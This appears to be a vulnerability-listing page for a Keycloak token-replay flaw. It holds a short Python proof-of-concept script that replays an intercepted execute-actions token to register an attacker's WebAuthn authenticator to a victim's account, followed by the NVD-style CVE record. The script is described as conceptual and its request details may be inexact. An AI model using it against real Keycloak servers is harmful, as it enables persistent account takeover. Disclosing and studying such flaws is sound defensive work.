CVE-2026-37982

import requests # Conceptual PoC for CVE-2026-37982 # This script demonstrates the replay of an intercepted ExecuteActionsActionToken target_url = "https://target-keycloak.com/auth/realms/master/execute-actions" intercepted_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Intercepted token from email # Attacker crafts a request to register their WebAuthn authenticator using the victim's token payload = { "action": "UPDATE_PASSWORD_WEB_AUTHN", # Example action triggering WebAuthn flow "authenticator_attachment": "cross-platform", "user_verification": "required", "attestation": "none" } headers = { "Authorization": f"Bearer {intercepted_token}", "Content-Type": "application/json" } try: # Replay the token to bind attacker's device to victim's account response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Success: Attacker's authenticator registered to victim's account.") else: print(f"[-] Failed: Server returned {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-37982", "sourceIdentifier": "[email protected]", "published": "2026-05-19T12:16:18.610", "lastModified": "2026-05-20T17:16:22.090", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. This authentication vulnerability allows a remote attacker to replay `ExecuteActionsActionToken` tokens within Keycloak's WebAuthn (Web Authentication) flow. By intercepting an execute-actions email link, an attacker can register their own authenticator to a victim's account. This leads to unauthorized enrollment of a hardware-backed credential, enabling persistent account takeover."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-294"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:19596", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19597", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-37982", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2455329", "source": "[email protected]"}]}}